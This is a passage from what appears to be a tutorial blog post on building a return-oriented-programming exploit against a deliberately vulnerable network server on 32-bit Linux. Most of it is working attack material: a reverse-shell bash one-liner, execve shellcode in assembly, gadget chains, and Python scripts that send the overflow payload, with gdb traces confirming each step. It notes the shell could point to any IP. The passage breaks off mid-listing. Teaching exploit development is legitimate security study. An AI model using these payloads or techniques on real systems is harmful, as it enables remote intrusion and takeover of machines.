            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " TFILE "\n");
        exit(1);
    }
}

int checkpass(char *a)
{
    char p[512];
    int r, i;
    strncpy(p, a, strlen(a)+1);
    i = atoi(p);
    if (i == CNUM)
        r = 5;
    else
        r = strcmp(p, PASS);
    return r;
}

The only thing I've changed here is the size of the input accepted by the server (from 1000 to 4096). This is because the payload I need to send is larger than 1000 bytes.

Setting Up The Environment

Because the application that we are attacking is so small, we need to compile it with the -static flag, this will compile any libraries into the binary making for a larger text segment:

1
2
3
[email protected]:~$ gcc -o app-net app-net.c -static
[email protected]:~$ cat /proc/sys/kernel/randomize_va_space 
2

Its important to use the -static flag, firstly because you won't have enough ROP gadgets to write the exploit otherwise and because nearly all real world applications are much bigger than this small 1 so compiling it with the libraries static will make it more realistic.

If you don't get 2 from /proc/sys/kernel/randomize_va_space then run (as root):

1
[email protected]:~# echo 2 > /proc/sys/kernel/randomize_va_space 

Getting Gadgets

To build a ROP exploit you need to find ROP gadgets.

A ROP gadget is 1 or more assembly instructions followed by a ret (or return) instruction.

Finding these gadgets would be painful and slow manually so we will use an already avaliable tool ROPgadget by Jonathan Salwan of Shell Storm.

You can download the tool using git:

1
2
3
4
5
6
[email protected]:~$ git clone https://github.com/JonathanSalwan/ROPgadget.git
Cloning into 'ROPgadget'...
remote: Counting objects: 3031, done.
remote: Total 3031 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3031/3031), 10.08 MiB | 2.03 MiB/s, done.
Resolving deltas: 100% (1828/1828), done.

This script looks for all ROP gadgets in the application code and outputs them, there will be alot of output so redirect the output to a file to search through later:

1
[email protected]:~$ ROPgadget/ROPgadget.py --binary app-net > gadgets

The file (gadgets) will contain lines in the form of:

[memory address] : [series of instructions at that address]

The first thing I looked for is an int 0x80 followed by a ret:

1
[email protected]:~$ grep 'int 0x80' gadgets | grep 'ret'

There are none, this means we will have to do the attack in 1 syscall.

You can download the full list of ROP gadgets that I got here.

Testing New Shellcode

All of the shellcode I've written until now used multiple syscalls, we aren't able to do that now so we need 1 syscall that is useful for us.

To do this I will use the bash 1 liner here:

1
bash -i >& /dev/tcp/127.0.0.1/8000 0>&1

As before, although I'm doing everything over the loopback interface for ease and convenience, this could be done to any IP address.

I will use the execve syscall for this, in C this would look like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <unistd.h>

int main(int argc, char **argv)
{
    char *filename = "/bin/bash";
    char *arg1 = "-c";
    char *arg2 = "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1";
    char *args[] = { filename, arg1, arg2 };
    execve(args[0], &args[0], 0);
}

Using this, and already knowing (from previous posts) that the syscall number for execve is 11, we can create the same code in assembly and shellcode, first we need the strings in hex and backwards (because of the little endian architecture).

For this I will use a little python script I wrote:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python

import sys

string = sys.argv[1]
print 'Length: ' + str(len(string))

print 'Reversed: ' + string[::-1]

print 'And HEX\'d: ' + string[::-1].encode('hex')

sys.exit(0)

Now we can just run this script with each of our strings as an argument:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[email protected]:~$ python reverse-n-hex.py '/bin/bash'
Length: 9
Reversed: hsab/nib/
And HEX'd: 687361622f6e69622f
[email protected]:~$ python reverse-n-hex.py '-c'
Length: 2
Reversed: c-
And HEX'd: 632d
[email protected]:~$ python reverse-n-hex.py '/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1'
Length: 44
Reversed: 1&>0 0008/1.0.0.721/pct/ved/ &> i- hsab/nib/
And HEX'd: 31263e3020303030382f312e302e302e3732312f7063742f7665642f20263e20692d20687361622f6e69622f

Now we can build the shellcode in assembly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
global _start

section .text

_start:
    ; zero eax for the nulls
    xor eax, eax
    ; free some space on the stack
    ; so we don't overwrite bits of our shellcode
    sub esp, 0x60
    ; setup the first argument string on the stack
    push eax
    push 0x68736162
    push 0x2f6e6962
    push 0x2f2f2f2f
    ; move the address of this string into ebx
    mov ebx, esp
    ; setup the third argument on the stack
    push eax
    push 0x31263e30
    push 0x20303030
    push 0x382f312e
    push 0x302e302e
    push 0x3732312f
    push 0x7063742f
    push 0x7665642f
    push 0x20263e20
    push 0x692d2068
    push 0x7361622f
    push 0x6e69622f
    ; move the address of the thrid argument string into esi for later
    mov esi, esp
    ; setup the second argument string on the stack
    push eax
    push word 0x632d
    ; move the address of the second argument string into edi for later
    mov edi, esp
    ; setup the "argv[]" argument on the stack
    push eax
    push esi
    push edi
    push ebx
    ; move the address of the "argv[]" argument into ecx
    mov ecx, esp
    ; setup edx to point to null
    push eax
    mov edx, esp
    ; move 11 into eax
    add al, 0xb
    ; initiate the syscall
    int 0x80

You can test this shellcode the way we have tested shellcode in the past, I won't do that because this post will be long enough anyway, just remember to use netcat to start listening because this will do a reverse shell connecting back to 127.0.0.1 on port 8000.

Searching Through The Gadgets

Now we know how the registers need to be setup when we execute the syscall we can go about searching through the avaliable gadgets to see what registers we have a lot of control of and what registers are more difficult to manipulate.

We can search the gadgets file with regex, like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[email protected]:~$ grep ' ecx, e[a-z][a-z]' gadgets | grep 'ret$'
0x08048207 : add eax, 0x80cb080 ; add ecx, ecx ; ret
0x0806cdbc : add ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; pop ebp ; ret
0x0804820c : add ecx, ecx ; ret
0x08056504 : and edx, 3 ; mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x080748f8 : cmp ecx, eax ; jb 0x8074910 ; sub eax, ebx ; pop ebx ; pop ebp ; ret
0x0806cdba : div ebx ; add ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; pop ebp ; ret
0x08056505 : loop 0x8056512 ; mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0x08056507 : mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x080748f7 : nop ; cmp ecx, eax ; jb 0x8074911 ; sub eax, ebx ; pop ebx ; pop ebp ; ret
0x0804820a : or al, 8 ; add ecx, ecx ; ret
0x08084b36 : or ecx, ecx ; ret
0x0804f539 : xor ecx, edi ; mov byte ptr [eax + edx], cl ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

The search above searches for any gadgets that use the ecx register as the source operand.

We also use grep 'ret$' at the end because we are only interested in gadgets that end with a ret instruction (it also shows gadgets that end in int 0x80 otherwise).

After searching through the gadgets for a while it becomes obvious that the ecx register is 1 of the more difficult to manipulate, so we will use the eax, ebx and edx registers to manipulate the data and we want to sort out the final value of ecx near the start of the exploit.

While searching through the gadgets, it would be helpful to paste what look to be the most useful gadgets into a seperate file so that you don't have to keep searching through the full list of gadgets.

Building The ROP Exploit

We are going to run into a few major problems while building this exploit.

Firstly, as I already mentioned ecx manipulation is highly restrictive.

Secondly, we are unable to send nulls (0x0) so we will need to put in placeholders and change their value in memory during runtime.

Lastly, we have no idea of any memory addresses within the payload that we will send, so we will have to calulate them during runtime also so that we can reference certain parts of our payload for various reasons.

Because our main 2 problems are to do with values within our payload and because we are unable to exploit this without being able to reference values within our payload we need to approach this problem first.

We do this by getting any address within our payload and calculating the rest of the addresses relative to that address.

The easiest way to do this is by getting the value of esp which, throughout our exploit, will point to a certain part of the payload.

There are various ways to do this (eg. by finding a mov [reg], esp, add [reg], esp) but we will use the following push, pop sequence to get the value of esp into ebp:

1
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret

And then move the value of ebp into eax:

1
0x080525d0 : xchg eax, ebp ; ret

Because eax is the most used register in our avaliable ROP gadgets, its handy to be able to move values into eax for further processing.

Analysing The Exploit

Its important to analyse this exploit throughout the development of the exploit because of the complexity of it.

The methodology that I will use here you will need to use thoroughly while developing the exploit.

First we write a python exploit containing the 2 ROP gadgets we have found so far:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

All this is doing is sending 532 A's to overflow the buffer until we start overwriting the return address.

Then we open the vulnerable application using gdb and run the exploit against it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble checkpass
Dump of assembler code for function checkpass:
   0x08048674 <+0>: push   ebp
   0x08048675 <+1>: mov    ebp,esp
   0x08048677 <+3>: sub    esp,0x228
   0x0804867d <+9>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048680 <+12>:    mov    DWORD PTR [esp],eax
   0x08048683 <+15>:    call   0x8055600 <strlen>
   0x08048688 <+20>:    add    eax,0x1
   0x0804868b <+23>:    mov    DWORD PTR [esp+0x8],eax
   0x0804868f <+27>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048692 <+30>:    mov    DWORD PTR [esp+0x4],eax
   0x08048696 <+34>:    lea    eax,[ebp-0x210]
   0x0804869c <+40>:    mov    DWORD PTR [esp],eax
   0x0804869f <+43>:    call   0x80556b0 <strncpy>
   0x080486a4 <+48>:    lea    eax,[ebp-0x210]
   0x080486aa <+54>:    mov    DWORD PTR [esp],eax
   0x080486ad <+57>:    call   0x8048eb0 <atoi>
   0x080486b2 <+62>:    mov    DWORD PTR [ebp-0x10],eax
   0x080486b5 <+65>:    cmp    DWORD PTR [ebp-0x10],0xe4ff
   0x080486bc <+72>:    jne    0x80486c7 <checkpass+83>
   0x080486be <+74>:    mov    DWORD PTR [ebp-0xc],0x5
   0x080486c5 <+81>:    jmp    0x80486e0 <checkpass+108>
   0x080486c7 <+83>:    mov    DWORD PTR [esp+0x4],0x80ab924
   0x080486cf <+91>:    lea    eax,[ebp-0x210]
   0x080486d5 <+97>:    mov    DWORD PTR [esp],eax
   0x080486d8 <+100>:   call   0x80555c0 <strcmp>
   0x080486dd <+105>:   mov    DWORD PTR [ebp-0xc],eax
   0x080486e0 <+108>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080486e3 <+111>:   leave  
   0x080486e4 <+112>:   ret    
End of assembler dump.
(gdb) break *0x080486e4
Breakpoint 1 at 0x80486e4
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $ebp
(gdb) display/x $eax
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe73c: 0x0807715a  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x80486e4 <checkpass+112>:   ret    

Breakpoint 1, 0x080486e4 in checkpass ()
2: /x $eax = 0xffffffcd
1: /x $ebp = 0x41414141
(gdb)

Firstly, on line 4, I disassemble the checkpass function, this is the vulnerable function so our exploit gets triggered when this function returns (runs its ret instruction).

We need to set a breakpoint at the address of this ret instruction (0x080486e4 on line 34 and set on line 36) so that we can trace through and observe the values of the registers as our exploit runs.

Lines 38 to 43, I define a function that runs every time execution stops, this just give us the top 10 values on the stack (as referenced by esp) and the current instruction to be run (as referenced by eip).

Next, on lines 44 and 45, I instruct gdb to display the values of the ebp and eax registers, this will also run every time execution stops, these are the 2 registers we are manipulating with our first 2 gadgets.

Lastly I run the application and when I launch the exploit breakpoint 1 is reached (on line 53).

As you can see, from line 51, eip now points to the ret instruction at the end of the checkpass function, which is where our exploit begins.

The current values of eax and ebp are 0xffffffcd and 0x41414141 respectively.

Looking at the output of x/10xw $esp, which just prints the top 10 values on the stack, the first value is 0x0807715a (just the address of our first gadget) and the second is 0x080525d0 (which is the address of our second gadget).

After the second gadget is run eax should contain 0xbfffe740 (0xbfffe73c + 0x4).

Now we just trace through the next few instructions using the stepi gdb command:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
(gdb) stepi
Cannot access memory at address 0x41414145
(gdb) stepi
0xbfffe73c: 0xbfffe740  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x807715b <__tzname_max+59>: mov    eax,ds:0x80ccbcc
0x0807715b in __tzname_max ()
2: /x $eax = 0xffffffcd
1: /x $ebp = 0x41414141
(gdb) stepi
0xbfffe73c: 0xbfffe740  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x8077160 <__tzname_max+64>: pop    ebp
0x08077160 in __tzname_max ()
2: /x $eax = 0x0
1: /x $ebp = 0x41414141
(gdb) stepi
0xbfffe740: 0x080525d0  0xbfffe700  0x00001000  0x00000000
0xbfffe750: 0xbffff770  0xbffff76c  0x00000000  0x00000000
0xbfffe760: 0x00000000  0x00000000
=> 0x8077161 <__tzname_max+65>: ret    
0x08077161 in __tzname_max ()
2: /x $eax = 0x0
1: /x $ebp = 0xbfffe740
(gdb) stepi
0xbfffe744: 0xbfffe700  0x00001000  0x00000000  0xbffff770
0xbfffe754: 0xbffff76c  0x00000000  0x00000000  0x00000000
0xbfffe764: 0x00000000  0x00000000
=> 0x80525d0 <_int_malloc+2832>:    xchg   ebp,eax
0x080525d0 in _int_malloc ()
2: /x $eax = 0x0
1: /x $ebp = 0xbfffe740
(gdb) stepi
0xbfffe744: 0xbfffe700  0x00001000  0x00000000  0xbffff770
0xbfffe754: 0xbffff76c  0x00000000  0x00000000  0x00000000
0xbfffe764: 0x00000000  0x00000000
=> 0x80525d1 <_int_malloc+2833>:    ret    
0x080525d1 in _int_malloc ()
2: /x $eax = 0xbfffe740
1: /x $ebp = 0x0
(gdb)

So this worked as expected and we now have the address of our second ROP gadget inside eax.

All other addresses can be worked our relative to the address that we currently have.

Calculating An Address

The data that we need to reference we will put at the end of our payload.

Once we have the exploit almost complete we will know the length of our payload but until then we will write the exploit with an arbirary value and change it later.

For this we will use 1000 as the length from the second ROP gadget (the address we just retrieved from esp) to the start of our data.

Next we have to figure out how we will arrange the data at the end of the payload, this will allow us to work out the distances between the different sections of data so that the only value that will need to be changed is the first that we calculate. This will become more clear as we develop more of the exploit.

We need 4 different parts in the data section, the 3 strings and the pointers for the second argument to execve.

Here is how I've laid out the data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
------------------------data------------------------
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

I've used 0xffffffff to represent where we want null bytes, these will have to be overwritten during runtime. We will also need to overwrite the pointers with the correct values at runtime, for now I've just put the placeholders 0xbbbbbbbb, 0xcccccccc and 0xdddddddd so that we can easily tell where we are while debugging the exploit.

It's also worth noting that because we are writing up the stack from lower down, the strings will be in normal order, there is no need to think about little endianness for them.

There is technically no reason to use ////bin/bash instead of /bin/bash here, like there was when writing the shellcode, but it rounds this up to 4 bytes so addresses will be slightly easier to calculate (this is 1 place this exploit could be optimized to reduce the size).

Now we need to calculate the address of the last value in our data (0xffffffff at the bottom)

There are 22 double words (a double word is 4 bytes) in the data, so 22 * 4 = 88, therefore we have 88 bytes from the top of our data to the end, as we are using 1000 bytes as a placeholder, for the length from the address we currently have to the top of the data, there are 1088 bytes we need to add to the address we got from esp in our first gadget.

Because we can't use nulls in our payload we have to calculate 1088 at runtime, we can do this using only eax and ebx, but first we have to move the value we currently have in eax, we'll move it to edx using this gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Along with moving the value in eax to edx, it pops 3 values off of the stack, we need to deal with this because if we put another gadget directly below this 1 it will be popped off into a register and will not be used.

We will use 0xeeeeeeee to represent junk values that will be popped off the stack but not used.

To calculate 1088 without using null bytes we will use 0xaaaaaaaa and substract the relevent number, to find out that number we do 0xaaaaaaaa - 1088 = 0xaaaaa66a.

We can subtract 2 values in eax and ebx using the following gadget:

1
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret

And we can use the following 2 gadgets to get the required values into eax and ebx respectively:

1
2
0x080a8576 : pop eax ; ret
0x08057b7e : pop ebx ; ret

Here I think is a good time to mention the importance of keeping notes while you are creating this exploit, here are my notes so far:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

It's worth noting that to get to a lower value in our payload we need to increase the address and if we want to get to a higher value we need to decrease the address. This is a very important point!

Knowing this, to get to the end of the data from the higher up address we received earlier from esp, we need to add the address to the distance we just calculated.

We can do the addition to calculate the address that we want using this gadget:

1
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret

This will add eax and ebx and store the result in eax.

First we need to move the value from eax into ebx, for that we can use this gadget:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

And then move the address stored in edx (the first address we retrieved from esp) into eax:

1
0x0807abcc : mov eax, edx ; ret

If we put all of these together (while remembering to include junk values for the irrelevant pop instructions contained within the gadgets) we get:

1
2
3
4
5
6
7
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

eax will now contain the address of the end of our data.

If you look again at the data you will realise that this address should contain nulls (its the last lot of 0xffffffff right at the end of our payload).

As we have this address we should go ahead and write nulls here so we don't have to worry about it later.

We can write whatever is stored in the eax register to an address stored in the edx register using this gadget:

1
0x08083f21 : mov dword ptr [edx], eax ; ret

Before we can do that we need to move the address from eax into edx:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

And we need to put 0 into eax:

1
0x08099c0f : xor eax, eax ; ret

Using all of this knowledge our notes should look like this (again bear in mind the junk values we need to insert):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

Now would be a good time to test the exploit again, what we will do here is pad the rest of the exploit so that our data starts 1000 bytes after our second ROP gadget, this way we can see if our exploit is calculating the correct values.

Here is the updated exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "A" * 904 # 1000 - 96 (96 is the current size of the payload from the second ROP gadget

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

This time I will set the breakpoint at 0x08083f21 and ensure everything is correct:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) delete 1
(gdb) break *0x08083f21
Breakpoint 2 at 0x8083f21
(gdb) display/x $ebx
3: /x $ebx = 0x0
(gdb) display/x $edx
4: /x $edx = 0xbfffe740
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 

0xbfffe7a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7b4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7c4: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 2, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb80
0xbfffeb80: 0xffffffff
(gdb) stepi
0xbfffe7a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7b4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7c4: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb80
0xbfffeb80: 0x00000000
(gdb) x/xw 0xbfffeb7c
0xbfffeb7c: 0xdddddddd
(gdb) x/xw 0xbfffeb78
0xbfffeb78: 0xcccccccc
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbbbbbbbb

As you can see, we've successfully written nulls where the f's used to be at the end of our data.

After, I've printed the 3 values further up our payload (which are just where our pointers will be) just to show that it is infact the correct address we are writing to.

Now that we've fixed the nulls at the bottom, the next problem we should approach is setting the value for the ecx register, as this will be the second most difficult challenge.

Setting ECX

The gadget that I felt was the best chance of getting a value into ecx is:

1
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret

ecx needs to contain the address of the beginning of our pointers in the data, where we have put 0xbbbbbbbb.

There is a big problem here, this code will jump to the fixed address 0x804dca1 if the value pointed to by eax does not contain 0.

This means we first have to write 0 there before we can set ecx.

We will use the exact same method that we just used to write 0 to the end of the data, except this time we will calculate the address relative to the current value of edx (the end of the data section).

We use the following series of ROP gadgets to do this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret

We've used all of these gadgets already so unless we miscalculate the distance somewhere this should all work fine and we can run the other gadget to set ecx.

Once we run the gadget to move eax into ecx the value of ecx is set and will no longer need to be touched, this also means we cannot run any gadgets that alter ecx in anyway.

Calculating The Address Of A String And Setting The Pointer

As we already have the address of the first pointer in edx we might as well set this to the correct value.

This should contain the address of the string ////bin/bash, which is the first string in the data section.

If you work it out you will see that the start of the relevant string is 18 double words, or 72 bytes, from the current value of edx (and ecx).

We can now use the exact same gadgets that we've already used to calculate the address of the string and write it to the location pointed to by edx:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
